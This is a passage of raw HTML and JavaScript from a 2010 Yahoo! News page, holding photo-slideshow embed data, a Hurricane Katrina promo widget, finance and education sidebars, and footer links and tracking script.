'http://d.yimg.com/a/p/ap/20100805/capt.51377930a8a04a3798e6659817a28015-51377930a8a04a3798e6659817a28015-0.jpg?x=400&y=266&q=85&sig=E9_xQwkXsEaKLTSuvEXh9Q--',\n       '400',\n       '266',\n       'AP'\n],\n<!----------------------------------------------------------------------------[ UPDATED: xx/xx ]-->\n[    [['to make good on his promise to end U.S. combat operations in Iraq by the end of August', 11]],\n       'http://news.yahoo.com/nphotos/US-troops-withdrawing-Iraqi-cities/ss/events/wl/063009iraqtroopsout',\n       \"Click image to see more photos of Iraq drawdown\",\n       'http://d.yimg.com/a/p/afp/20100705/capt.photo_1278267588938-1-0.jpg?x=400&y=274&q=85&sig=rD75zKa8bQGbUmOTE1wi1w--',\n       '400',\n       '274',\n       'AFP'\n],\n<!----------------------------------------------------------------------------[ UPDATED: xx/xx ]-->\n[    [['Kagan then recited a second oath, taken by judges, with her family and friends and reporters present', 9]],\n       'http://news.yahoo.com/nphotos/Supreme-Court-Justice-Elena-Kagan/ss/events/pl/041610elenakagan',\n       \"Click image to see more photos of Elena Kagan's confirmation\",\n       'http://d.yimg.com/a/p/ap/20100807/capt.b236658ec08c461faf972ebbbbacf608-b236658ec08c461faf972ebbbbacf608-0.jpg?x=325&y=345&q=85&sig=Z1Uo2viJ1L3vdYKflEjY0A--',\n       '325',\n       '344',\n       'AP'\n],\n<!----------------------------------------------------------------------------[ UPDATED: FRANCE GYPIES ]-->\n[    [['crackdown on Gypsies', 5]],\n       'http://news.yahoo.com/nphotos/France-send-Gypsies-back-Romania/ss/events/wl/081910francegypsies',\n       \"Click image to see photos of the crackdown\",\n       'http://d.yimg.com/a/p/afp/20100827/capt.photo_1282937836505-5-0.jpg?x=400&y=265&q=85&sig=vktmLFsDwqw4akqZoUvg2g--',\n       '400',\n       '265',\n       'AFP/Philippe Huguen'\n],\n<!----------------------------------------------------------------------------[ UPDATED: xx/xx ]-->\n[    [['BA document written by a federal judge 216 years ago', 5]],\n       'http://news.yahoo.com/nphotos/1794-document-found-Eisenhower-archives/ss/events/lf/081910eisenhowerpape',\n       \"Click image to see photos from the Eisenhower archives\",\n       'http://d.yimg.com/a/p/ap/20100819/capt.e5f9778858a045408243118bf55fcf58-e5f9778858a045408243118bf55fcf58-0.jpg?x=400&y=276&q=85&sig=ZrooGj_Rfgk24TD0yJ4ODg--',\n       '400',\n       '276',\n       'AP/John Milburn'\n]\n                      \n\n\n\n\n\n\n];\n\n\n<!-- Currently used in sections: sc, pl, wl, us, en, bs, ts -->\n\n\n\n\n<!---------------------------- DO NOT EDIT BEYOND THIS POINT ------------------------------------->\n\n       story_content = $(\"div.yn-story-content\").html();\n\n       for (var p in photos) {\n               for (var snippet in photos[p][0]) {\n                       if (story_content.indexOf(photos[p][0][snippet][0]) >= 0) {\n                               slideshow_link = photos[p][1];\n                               slideshow_link_text = photos[p][2];\n                               embedded_img = photos[p][3];\n                               img_width = photos[p][4];\n                               img_height = photos[p][5];\n                               img_credit = photos[p][6];\n                               embed_after_paragraph_number = photos[p][0][snippet][1];\n                               slideshow_code = '<div align=\"center\"><p><a href=\"'+slideshow_link+';_ylt=A2KIKvTWiH1Ml3sBRwNu.aF4;_ylu=X3oDMTE3OW44Nm4xBHBvcwMyMwRzZWMDeW5fZmVhdHVyZWQEc2xrA3NsaWRlc2hvd19saQ--\" ><b>' + slideshow_link_text + '</b></a></p><p style=\"width: ' + img_width + 'px; text-align: right;\"><a href=\"'+slideshow_link+';_ylt=A2KIKvTWiH1Ml3sBSANu.aF4;_ylu=X3oDMTEwaWZ1YWs0BHBvcwMyNARzZWMDeW5fZmVhdHVyZWQEc2xrA2ltYWdl\" ><img src=\"' + embedded_img + '\" width=\"' + img_width + '\" height=\"' + img_height + '\" /></a><br /><cite id=\"captionCite\">' + img_credit + '</cite></p></div>';\n\n                               \n                               $(\"div.yn-story-content p:eq(\" + embed_after_paragraph_number + \")\").after(slideshow_code);\n                               break;\n                       }\n               }\n       }\n});\n</script></li><li><!-- START PROMO -->\n\n<script type=\"text/javascript\"> \nif(typeof jQuery==='undefined')\n  document.write(unescape('%3Cscript type=\"text/javascript\" src=\"http://l.yimg.com/d/lib/news/p/common/generic/jquery_1.4.2-min-42268.js\"%3E%3C/script%3E'));\n</script>\n\n<style type=\"text/css\"> \n#floatLeft { float:left; width:350px; margin:3px 15px 7px 0px; }\n#border3sides { border:1px solid #ddd; border-top:0px; }\n.bluebar { background-image:url('http://l.yimg.com/a/p/us/news/editorial/5/23/523913efe3993cc8c2ccf7ccc683d968.jpeg'); background-repeat:no-repeat;  padding:5px; font:normal 20px arial; }\n.bluebarlink { color:white; text-decoration:none; }\n.theThumb { width: 75px; height:55px; border:0; }\n#text { width:330px; height:20px; padding-top:5px; }\n#smThumb p { float:left; padding:10px 9px 0 0; font:11px arial; width: 75px; }\n#smThumb a { color:#666; text-decoration:none; }\n.thumbText { font:14px arial; text-decoration:none; color:#000; }\n</style> \n \n<script type=\"text/javascript\"> \n \nvar thumbText1 = '<a href=\"http://news.yahoo.com/s/ynews/ynews_ts3464;_ylt=A2KIKvTWiH1Ml3sBSQNu.aF4;_ylu=X3oDMTE3NG0wYjJzBHBvcwMyNQRzZWMDeW5fZmVhdHVyZWQEc2xrA25ld29ybGVhbnNmcg--\" class=\"thumbText\">New Orleans\\' fragile recovery, 5 years after Katrina</a>';\nvar thumbText2 = '<a href=\"http://news.yahoo.com/s/ynews_spec/ynews_spec_ts3448;_ylt=A2KIKvTWiH1Ml3sBSgNu.aF4;_ylu=X3oDMTE3cmhhaXJvBHBvcwMyNgRzZWMDeW5fZmVhdHVyZWQEc2xrA3Bob3Rvc2FuYXRvbQ--\" class=\"thumbText\">Photos: Anatomy of a disaster</a>';\nvar thumbText3 = '<a href=\"http://news.yahoo.com/nphotos/Then-and-now-New-Orleans-5-Years-after-Katrina/ss/events/us/082410katrinathennow;_ylt=A2KIKvTWiH1Ml3sBSwNu.aF4;_ylu=X3oDMTE3MDljbjJyBHBvcwMyNwRzZWMDeW5fZmVhdHVyZWQEc2xrA3Bob3Rvc25ld29ybA--\" class=\"thumbText\">Photos: New Orleans, then and now</a>';\nvar thumbText4 = '<a href=\"http://news.yahoo.com/s/ac/20100823/tr_ac/6628782_cleaning_up_after_hurricane_katrina_uncovers_lifes_lessons;_ylt=A2KIKvTWiH1Ml3sBTANu.aF4;_ylu=X3oDMTE3cGRjYzBoBHBvcwMyOARzZWMDeW5fZmVhdHVyZWQEc2xrA2NsZWFuaW5ndXBhZg--\" class=\"thumbText\">Cleaning up after Katrina uncovers life lessons</a>';\n \n\nfunction onover(what){\ndocument.getElementById('text').innerHTML=''+what+'';\n\nrx = new RegExp(\"href=\\\"([^\\\"]*)\\\"\");\nlink = what.match(rx)[1];\n$(\"#ChristinesLink\").attr(\"href\", link);\n\n}\nfunction onout(){\ndocument.getElementById('text').innerHTML='';\n}\n</script> \n \n \n \n<script type=\"text/javascript\"> \n \n if (document.images) {\nimage0 = new Image;\nimage1 = new Image;\nimage2 = new Image;\nimage3 = new Image;\n \nimage0.src = 'http://l.yimg.com/a/p/us/news/editorial/1/cf/1cf64fdceffce63f2d1794936c2ed81c.jpeg';\nimage1.src = 'http://l.yimg.com/a/p/us/news/editorial/b/99/b99244314f5bb86fe97ff3d9e72eb180.jpeg';\nimage2.src = 'http://l.yimg.com/a/p/us/news/editorial/5/29/52989b60cef5569da3448e6886aed4b7.jpeg';\nimage3.src = 'http://d.yimg.com/a/p/rids/20100817/i/r3994317792.jpg?x=400&y=266&q=85&sig=U248J4rTGZzouhs56N_ZOA--';\n \n \n} else {\nimage0 = '';\nimage1 = '';\nimage2 = '';\nimage3 = '';\ndocument.rollimg = '';\n}\n \n</script> \n \n \n \n \n \n\n<script type=\"text/javascript\">\n$(document).ready(function() {\n$(\"#yn-featured li:visible:last\").css(\"display\",\"none\");\n \n \n var embed_thingie = '<div id=\"floatLeft\"><div class=\"bluebar\"><a href=\"http://news.yahoo.com/s/ynews/ynews_ts3464;_ylt=A2KIKvTWiH1Ml3sBTQNu.aF4;_ylu=X3oDMTE3dHQ4cWc2BHBvcwMyOQRzZWMDeW5fZmVhdHVyZWQEc2xrAzV5ZWFyc2FmdGVyaw--\" class=\"bluebarlink\">5 years after Katrina &raquo;</a></div><div id=\"border3sides\" style=\"padding-left:10px;\"><div style=\"padding-top:10px;\"><img src=\"http://l.yimg.com/a/p/us/news/editorial/1/cf/1cf64fdceffce63f2d1794936c2ed81c.jpeg\" width=\"327\" height=\"180\" border=\"0\" alt=\"Larger version\" name=\"rollimg\" /><span id=\"text\" class=\"thumbText\">New Orleans\\' fragile recovery, 5 years after Katrina</span></div><div id=\"smThumb\"><p><a href=\"http://news.yahoo.com/s/ynews/ynews_ts3464;_ylt=A2KIKvTWiH1Ml3sBTgNu.aF4;_ylu=X3oDMTE3c2RsYmZqBHBvcwMzMARzZWMDeW5fZmVhdHVyZWQEc2xrA2ZyYWdpbGVzdGF0ZQ--\" onmouseover=\"onover(thumbText1)\"><span onmouseover=\"document.rollimg.src=image0.src;\"><img src=\"http://l.yimg.com/a/p/us/news/editorial/1/cf/1cf64fdceffce63f2d1794936c2ed81c.jpeg\" class=\"theThumb\" /><br />Fragile state</span></a></p><p><a href=\"http://news.yahoo.com/s/ynews_spec/ynews_spec_ts3448;_ylt=A2KIKvTWiH1Ml3sBTwNu.aF4;_ylu=X3oDMTE3ZnMxZmhuBHBvcwMzMQRzZWMDeW5fZmVhdHVyZWQEc2xrA2Rpc2FzdGVyaGl0cw--\" onmouseover=\"onover(thumbText2)\"><span onmouseover=\"document.rollimg.src=image1.src;\"><img src=\"http://l.yimg.com/a/p/us/news/editorial/b/99/b99244314f5bb86fe97ff3d9e72eb180.jpeg\" class=\"theThumb\" /><br />Disaster hits</span></a></p><p><a href=\"http://news.yahoo.com/nphotos/Then-and-now-New-Orleans-5-Years-after-Katrina/ss/events/us/082410katrinathennow;_ylt=A2KIKvTWiH1Ml3sBUANu.aF4;_ylu=X3oDMTE1ZDE1dTVlBHBvcwMzMgRzZWMDeW5fZmVhdHVyZWQEc2xrA3RoZW5hbmRub3c-\" onmouseover=\"onover(thumbText3)\"><span onmouseover=\"document.rollimg.src=image2.src;\"><img src=\"http://l.yimg.com/a/p/us/news/editorial/5/29/52989b60cef5569da3448e6886aed4b7.jpeg\" class=\"theThumb\" /><br />Then and now</span></a></p><p style=\"padding-right:0 !important;\"><a href=\"http://news.yahoo.com/s/ac/20100823/tr_ac/6628782_cleaning_up_after_hurricane_katrina_uncovers_lifes_lessons;_ylt=A2KIKvTWiH1Ml3sBUQNu.aF4;_ylu=X3oDMTE2cTA4NHNlBHBvcwMzMwRzZWMDeW5fZmVhdHVyZWQEc2xrA2xpZmVsZXNzb25z\" onmouseover=\"onover(thumbText4)\"><span onmouseover=\"document.rollimg.src=image3.src;\"><img src=\"http://d.yimg.com/a/p/rids/20100817/i/r3994317792.jpg?x=400&y=266&q=85&sig=U248J4rTGZzouhs56N_ZOA--\" class=\"theThumb\" /><br />Life lessons</span></a></p></div><div style=\"clear:both;\"></div></div></div>';\n \n story_content = $(\"div.yn-story-content\").html();\n \n if (story_content.indexOf(\"Hurricane Katrina\") >= 0)\n $(\"div.yn-story-content p:eq(7)\").after(embed_thingie);\n \n \n});\n</script></li>        </ul>\n    </div>\n</div>\n\n<div id=\"promo-education\" class=\"mod promo\">\n    <div class=\"hd\">\n        <h3>Education<span>Yahoo</span></h3>\n    </div>\n    <div class=\"bd\">\n        <div class=\"headlines\">\n            <div class=\"hd\"></div>\n            <div class=\"bd\">\n                <ul>\n                    <li class=\"first\"><a href=\"http://us.lrd.yahoo.com/_ylt=A2KIKvTWiH1Ml3sBUgNu.aF4;_ylu=X3oDMTFlNmU3c2F2BHBvcwMxBHNlYwN5bl9wcm9tb3NfZWR1Y2F0aW9uBHNsawN5YWhvb2VkdWNhdGk-/SIG=12c627dut/**http%3A//education.yahoo.net/articles/move_into_management.htm%3Fkid=SR3Y\" ><img width=\"54\" height=\"54\" alt=\"Yahoo! Education\" src=\"http://l.yimg.com/a/p/us/news/editorial/4/69/469d217a8aacdd62afc2b9c1067ab18d.jpeg\"/></a>\n<div><a href=\"http://us.lrd.yahoo.com/_ylt=A2KIKvTWiH1Ml3sBUwNu.aF4;_ylu=X3oDMTFlamFibDFmBHBvcwMyBHNlYwN5bl9wcm9tb3NfZWR1Y2F0aW9uBHNsawNhcmV5b3VhbGVhZGU-/SIG=12c627dut/**http%3A//education.yahoo.net/articles/move_into_management.htm%3Fkid=SR3Y\" >Are You A Leader?</a>See how the right training and education can prepare you for management!</div></li><li><a href=\"http://us.lrd.yahoo.com/_ylt=A2KIKvTWiH1Ml3sBVANu.aF4;_ylu=X3oDMTFlbGlxczJlBHBvcwMzBHNlYwN5bl9wcm9tb3NfZWR1Y2F0aW9uBHNsawN5YWhvb2VkdWNhdGk-/SIG=12d48ks0b/**http%3A//education.yahoo.net/articles/online_mba_fast_facts.htm%3Fkid=SRBR\" ><img width=\"54\" height=\"54\" alt=\"Yahoo! Education\" src=\"http://l.yimg.com/a/p/us/news/editorial/5/65/565a10b133247386df8def7b4819c14a.jpeg\"/></a>\n<div><a href=\"http://us.lrd.yahoo.com/_ylt=A2KIKvTWiH1Ml3sBVQNu.aF4;_ylu=X3oDMTFldjJscTV1BHBvcwM0BHNlYwN5bl9wcm9tb3NfZWR1Y2F0aW9uBHNsawNmYXN0ZmFjdHNvbmw-/SIG=12d48ks0b/**http%3A//education.yahoo.net/articles/online_mba_fast_facts.htm%3Fkid=SRBR\" >Fast Facts: Online MBAs</a>Join us as we separate online MBA facts from fiction.</div></li>                </ul>\n            </div>\n            <div class=\"ft\"></div>\n        </div>\n    </div>\n</div>\n\n<div id=\"promo-finance\" class=\"mod promo\">\n    <div class=\"hd\">\n        <h3><span>Yahoo!</span><a href=\"http://finance.yahoo.com/\">Finance</a></h3>\n    </div>\n    <div class=\"bd\">\n        <div class=\"search\">\n            <form action=\"http://finance.yahoo.com/q\" method=\"get\">\n                <input class=\"search-text\" type=\"text\" name=\"s\">\n                <input class=\"search-submit\" type=\"submit\" value=\"Get Quotes\">\n            </form>\n        </div>\n        <div class=\"related-quotes\">\n            <em>Market Summary</em>\n            <table cellspacing=\"0\">\n                <thead>\n                    <tr>\n                        <th>Symbol</th>\n                        <td>Last</td>\n                        <td colspan=\"2\">Change</td>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr>\n            <th><a href=\"http://finance.yahoo.com/q;_ylt=A2KIKvTWiH1Ml3sBVgNu.aF4;_ylu=X3oDMTFhb21tbWY2BHBvcwMxBHNlYwN5bl9wcm9tb3NfZmluYW5jZV9xdW90ZXMEc2xrA2Rvdw--?s=^DJI\" >Dow</a></th>\n        <td>10,014.72</td>\n        <td class=\"positive\">+4.99</td>\n        <td class=\"positive\">+0.05%</td>\n    </tr>\n<tr class=\"alternate\">\n            <th><a href=\"http://finance.yahoo.com/q;_ylt=A2KIKvTWiH1Ml3sBVwNu.aF4;_ylu=X3oDMTFkcHRkcmU4BHBvcwMyBHNlYwN5bl9wcm9tb3NfZmluYW5jZV9xdW90ZXMEc2xrA25hc2RhcQ--?s=^IXIC\" >Nasdaq</a></th>\n        <td>2,114.03</td>\n        <td class=\"negative\">-5.94</td>\n        <td class=\"negative\">-0.28%</td>\n    </tr>\n<tr>\n            <th><a href=\"http://finance.yahoo.com/q;_ylt=A2KIKvTWiH1Ml3sBWANu.aF4;_ylu=X3oDMTFjMzBjcXFxBHBvcwMzBHNlYwN5bl9wcm9tb3NfZmluYW5jZV9xdW90ZXMEc2xrA3NwNTAw?s=^GSPC\" >S&P 500</a></th>\n        <td>1,049.33</td>\n        <td class=\"positive\">+0.41</td>\n        <td class=\"positive\">+0.04%</td>\n    </tr>\n<tr class=\"alternate\">\n            <th><a href=\"http://finance.yahoo.com/q;_ylt=A2KIKvTWiH1Ml3sBWQNu.aF4;_ylu=X3oDMTFmbTByZjQwBHBvcwM0BHNlYwN5bl9wcm9tb3NfZmluYW5jZV9xdW90ZXMEc2xrAzEweXJib25k?s=^TNX\" >10 Yr Bond(%)</a></th>\n        <td>2.4770%</td>\n        <td colspan=\"2\" class=\"negative\">-0.6800</td>\n    </tr>\n<tr>\n            <th><a href=\"http://finance.yahoo.com/q;_ylt=A2KIKvTWiH1Ml3sBWgNu.aF4;_ylu=X3oDMTFhMWlyMGR0BHBvcwM1BHNlYwN5bl9wcm9tb3NfZmluYW5jZV9xdW90ZXMEc2xrA29pbA--?s=CLV10.NYM\" >Oil</a></th>\n        <td>71.74</td>\n        <td class=\"negative\">-0.18</td>\n        <td class=\"negative\">-0.25%</td>\n    </tr>\n<tr class=\"alternate\">\n            <th><a href=\"http://finance.yahoo.com/q;_ylt=A2KIKvTWiH1Ml3sBWwNu.aF4;_ylu=X3oDMTFiODVpOGttBHBvcwM2BHNlYwN5bl9wcm9tb3NfZmluYW5jZV9xdW90ZXMEc2xrA2dvbGQ-?s=GCU10.CMX\" >Gold</a></th>\n        <td>1,248.30</td>\n        <td>0.00</td>\n        <td>0.00%</td>\n    </tr>\n\n                </tbody>\n            </table>\n        </div>\n        <ul>\n            <li class=\"first\"><a href=\"http://us.rd.yahoo.com/finance/news/topnews;_ylt=A2KIKvTWiH1Ml3sBXANu.aF4;_ylu=X3oDMTFqZmNlcGMxBHBvcwMxBHNlYwN5bl9wcm9tb3NfZmluYW5jZV9oZWFkbGkEc2xrA2FtYXpvbnRyeWluZw--/*http://biz.yahoo.com/ap/100831/us_amazon_subscription_video.html\" >Amazon trying to offer subscription TV, movies</a></li>\n<li><a href=\"http://us.rd.yahoo.com/finance/news/topnews;_ylt=A2KIKvTWiH1Ml3sBXQNu.aF4;_ylu=X3oDMTFqNWk0ZGFrBHBvcwMyBHNlYwN5bl9wcm9tb3NfZmluYW5jZV9oZWFkbGkEc2xrA2ZlZGFwcHJvdmVzcw--/*http://biz.yahoo.com/ap/100831/us_fed_china_morgan_stanley.html\" >Fed approves sale of Morgan Stanley stock shares</a></li>\n<li><a href=\"http://us.rd.yahoo.com/finance/news/topnews;_ylt=A2KIKvTWiH1Ml3sBXgNu.aF4;_ylu=X3oDMTFqY2s5cjgwBHBvcwMzBHNlYwN5bl9wcm9tb3NfZmluYW5jZV9oZWFkbGkEc2xrA3N0b2Nrc2VuZGFicg--/*http://biz.yahoo.com/ap/100831/us_wall_street.html\" >Stocks end a brutal August with meager gains</a></li>\n\n        </ul>\n    </div>\n    <div class=\"ft\"><a href=\"http://finance.yahoo.com/\">More from Yahoo! Finance &raquo;</a></div>\n</div>\n<div id=\"darla-ad__LREC2\" class=\"mod ad darla_ad mod-first\"></div>\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n                \n            \n            </div><!-- end: #sidebar -->\n        \n        </div><!-- end: #bd -->\n    \n        <div id=\"ft\">\n   \n   <div id=\"yn_ft_nav\" class=\"ult-section nav\">\n       <h6>Yahoo! News Navigation</h6>\n       <ul>\n           <li class=\"ult-position first\"><a href=\"/;_ylt=A2KIKvTWiH1Ml3sBcwNu.aF4;_ylu=X3oDMTBscGJtNnJwBHBvcwMxBHNlYwNibgRzbGsDaG9tZQ--\" >Home</a></li>\n           <li class=\"ult-position\"><a href=\"/us;_ylt=A2KIKvTWiH1Ml3sBdANu.aF4;_ylu=X3oDMTBqYWlyY3JoBHBvcwMyBHNlYwNibgRzbGsDdXM-\" ><abbr title=\"United States\">U.S.</abbr></a></li>\n           <li class=\"ult-position\"><a href=\"/business;_ylt=A2KIKvTWiH1Ml3sBdQNu.aF4;_ylu=X3oDMTBwZDFmMzRuBHBvcwMzBHNlYwNibgRzbGsDYnVzaW5lc3M-\" >Business</a></li>\n           <li class=\"ult-position\"><a href=\"/world;_ylt=A2KIKvTWiH1Ml3sBdgNu.aF4;_ylu=X3oDMTBtZmVxZWZuBHBvcwM0BHNlYwNibgRzbGsDd29ybGQ-\" >World</a></li>\n           <li class=\"ult-position\"><a href=\"/entertainment;_ylt=A2KIKvTWiH1Ml3sBdwNu.aF4;_ylu=X3oDMTB0aWVuaTE3BHBvcwM1BHNlYwNibgRzbGsDZW50ZXJ0YWlubWVu\" >Entertainment</a></li>\n           <li class=\"ult-position\"><a href=\"/sports;_ylt=A2KIKvTWiH1Ml3sBeANu.aF4;_ylu=X3oDMTBuOW00dmhtBHBvcwM2BHNlYwNibgRzbGsDc3BvcnRz\" >Sports</a></li>\n           <li class=\"ult-position\"><a href=\"/technology;_ylt=A2KIKvTWiH1Ml3sBeQNu.aF4;_ylu=X3oDMTBsMjJpYzZsBHBvcwM3BHNlYwNibgRzbGsDdGVjaA--\" >Tech</a></li>\n           <li class=\"ult-position\"><a href=\"/politics;_ylt=A2KIKvTWiH1Ml3sBegNu.aF4;_ylu=X3oDMTBwMXRyZ2tyBHBvcwM4BHNlYwNibgRzbGsDcG9saXRpY3M-\" >Politics</a></li>\n           <li class=\"ult-position\"><a href=\"/science;_ylt=A2KIKvTWiH1Ml3sBewNu.aF4;_ylu=X3oDMTBvczFoaG5qBHBvcwM5BHNlYwNibgRzbGsDc2NpZW5jZQ--\" >Science</a></li>\n           <li class=\"ult-position\"><a href=\"/health;_ylt=A2KIKvTWiH1Ml3sBfANu.aF4;_ylu=X3oDMTBvMjE3NmRyBHBvcwMxMARzZWMDYm4Ec2xrA2hlYWx0aA--\" >Health</a></li>\n           <li class=\"ult-position\"><a href=\"/travel;_ylt=A2KIKvTWiH1Ml3sBfQNu.aF4;_ylu=X3oDMTBvcThkNjZqBHBvcwMxMQRzZWMDYm4Ec2xrA3RyYXZlbA--\" >Travel</a></li>\n           <li class=\"ult-position\"><a href=\"/most-popular;_ylt=A2KIKvTWiH1Ml3sBfgNu.aF4;_ylu=X3oDMTB0dmxhYjRuBHBvcwMxMgRzZWMDYm4Ec2xrA21vc3Rwb3B1bGFy\" >Most Popular</a></li>\n           <li class=\"ult-position\"><a href=\"/odd;_ylt=A2KIKvTWiH1Ml3sBfwNu.aF4;_ylu=X3oDMTBwNjdvb3M2BHBvcwMxMwRzZWMDYm4Ec2xrA29kZG5ld3M-\" >Odd News</a></li>\n           <li class=\"ult-position\"><a href=\"/opinion;_ylt=A2KIKvTWiH1Ml3sBgANu.aF4;_ylu=X3oDMTBwYXNubW5pBHBvcwMxNARzZWMDYm4Ec2xrA29waW5pb24-\" >Opinion</a></li>\n       </ul>\n   </div><!-- end: .nav -->\n   \n   <div id=\"yn_ft_services\" class=\"ult-section services\">\n       <h6>Yahoo! News Network</h6>\n       <ul>\n           <li class=\"ult-position rss first\"><a href=\"/rss;_ylt=A2KIKvTWiH1Ml3sBgQNu.aF4;_ylu=X3oDMTBsa3NwcDZrBHBvcwMxNQRzZWMDYm4Ec2xrA3Jzcw--\" ><abbr title=\"Really Simple Syndication\">RSS</abbr></a></li>\n           <li class=\"ult-position\"><a href=\"http://us.lrd.yahoo.com/SIG=1335fllhs;_ylt=A2KIKvTWiH1Ml3sBggNu.aF4;_ylu=X3oDMTBzM2g2NnBkBHBvcwMxNgRzZWMDYm4Ec2xrA25ld3NhbGVydHM-/**http%3A//beta.alerts.yahoo.com/main.php%3Fview=create_news_step1%26.done=http%3A//news.yahoo.com\" >News Alerts</a></li>\n           <li class=\"ult-position\"><a href=\"http://us.lrd.yahoo.com/SIG=120f8b0qi;_ylt=A2KIKvTWiH1Ml3sBgwNu.aF4;_ylu=X3oDMTB1OTk2OTN2BHBvcwMxNwRzZWMDYm4Ec2xrA3dlYXRoZXJhbGVydA--/**http%3A//beta.alerts.yahoo.com/main.php%3Fview=create_weather\" >Weather Alerts</a></li>\n           <li class=\"ult-position\"><a href=\"/page/sitemap;_ylt=A2KIKvTWiH1Ml3sBhANu.aF4;_ylu=X3oDMTBwdXVvZjhxBHBvcwMxOARzZWMDYm4Ec2xrA3NpdGVtYXA-\" >Site Map</a></li>\n           <li class=\"ult-position\"><a href=\"http://us.lrd.yahoo.com/SIG=11bqi29dl;_ylt=A2KIKvTWiH1Ml3sBhQNu.aF4;_ylu=X3oDMTBtNzdqa2hhBHBvcwMxOQRzZWMDYm4Ec2xrA2hlbHA-/**http%3A//help.yahoo.com/l/us/yahoo/news/\" >Help</a></li>\n           <li class=\"ult-position\"><a href=\"http://us.lrd.yahoo.com/SIG=11ehrsfi3;_ylt=A2KIKvTWiH1Ml3sBhgNu.aF4;_ylu=X3oDMTBxYThzODBpBHBvcwMyMARzZWMDYm4Ec2xrA2ZlZWRiYWNr/**http%3A//suggestions.yahoo.com/%3Fprop=news\" >Feedback</a></li>\n       </ul>\n       \n          </div><!-- end: .services -->\n   \n</div><!-- end: #ft -->\n           \n\n        \n        <div id=\"copyright\" class=\"mod\" role=\"contentinfo\">\n    <p>Copyright &copy; 2010 Reuters Limited. All rights reserved. Republication or redistribution of Reuters content is expressly prohibited without the prior written consent of Reuters. Reuters shall not be liable for any errors or delays in the content, or for any actions taken in reliance thereon.\n<br></p>\n</div>\n\n    \n        <div class=\"mod ad ad_footer\" role=\"contentinfo\">\n    <div class=\"bd\">\n            <!-- Ad Keywords: it; business; price; yuan; government; Yuan;-->\n<div id=\"copyright\"><cite>Copyright &copy; 2010 Yahoo! Inc. All rights reserved.</cite><ul><li class=\"first\"><a href=\"http://us.ard.yahoo.com/SIG=15r1t41b5/M=289534.13891068.13879306.12123427/D=news/S=2023881070:FOOT2/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=6WFLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5304694/R=0/SIG=1184ggc4j;_ylt=A2KIKvTWiH1Ml3sBjANu.aF4;_ylu=X3oDMTExZWdkNmg4BHBvcwMxBHNlYwNmb290ZXIEc2xrA3F1ZXN0aW9uc29yYw--/*http://help.yahoo.com/l/us/yahoo/news/\" >Questions or Comments</a></li><li><a href=\"http://us.ard.yahoo.com/SIG=15r1t41b5/M=289534.13891068.13879306.12123427/D=news/S=2023881070:FOOT2/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=6WFLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5304694/R=1/SIG=11q1ej28f;_ylt=A2KIKvTWiH1Ml3sBjQNu.aF4;_ylu=X3oDMTExa2s2dXRsBHBvcwMyBHNlYwNmb290ZXIEc2xrA3ByaXZhY3lwb2xpYw--/*http://info.yahoo.com/privacy/us/yahoo/news/details.html\" >Privacy Policy</a></li><li><a href=\"http://us.ard.yahoo.com/SIG=15r1t41b5/M=289534.13891068.13879306.12123427/D=news/S=2023881070:FOOT2/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=6WFLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5304694/R=2/SIG=11475d5s1;_ylt=A2KIKvTWiH1Ml3sBjgNu.aF4;_ylu=X3oDMTEwODVuYzhrBHBvcwMzBHNlYwNmb290ZXIEc2xrA2Fib3V0b3VyYWRz/*http://info.yahoo.com/relevantads/\" >About Our Ads</a></li><li><a href=\"http://us.ard.yahoo.com/SIG=15r1t41b5/M=289534.13891068.13879306.12123427/D=news/S=2023881070:FOOT2/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=6WFLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5304694/R=3/SIG=1136qnvkg;_ylt=A2KIKvTWiH1Ml3sBjwNu.aF4;_ylu=X3oDMTExbWNza2cxBHBvcwM0BHNlYwNmb290ZXIEc2xrA3Rlcm1zb2ZzZXJ2aQ--/*http://docs.yahoo.com/info/terms/\" >Terms of Service</a></li><li><a href=\"http://us.ard.yahoo.com/SIG=15r1t41b5/M=289534.13891068.13879306.12123427/D=news/S=2023881070:FOOT2/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=6WFLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5304694/R=4/SIG=11lp7krrc;_ylt=A2KIKvTWiH1Ml3sBkANu.aF4;_ylu=X3oDMTExaTZqczBqBHBvcwM1BHNlYwNmb290ZXIEc2xrA2NvcHlyaWdodGlwcA--/*http://docs.yahoo.com/info/copyright/copyright.html\" >Copyright/IP Policy</a></li></ul></div>\n<!-- http://us.ard.yahoo.com/SIG=15r1t41b5/M=289534.13891068.13879306.12123427/D=news/S=2023881070:FOOT2/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=6WFLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5304694/R=5/* -->\n<!-- SpaceID=2023881070 loc=FR01 noad -->\n\n<!-- SpaceID=2023881070 loc=SIP noad -->\n<script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['CGJLBkoGYmQ-']='&U=12b0if0c5%2fN%3dCGJLBkoGYmQ-%2fC%3d-1%2fD%3dSIP%2fB%3d-1%2fV%3d0';\n</script><noscript><img width=1 height=1 alt=\"\" 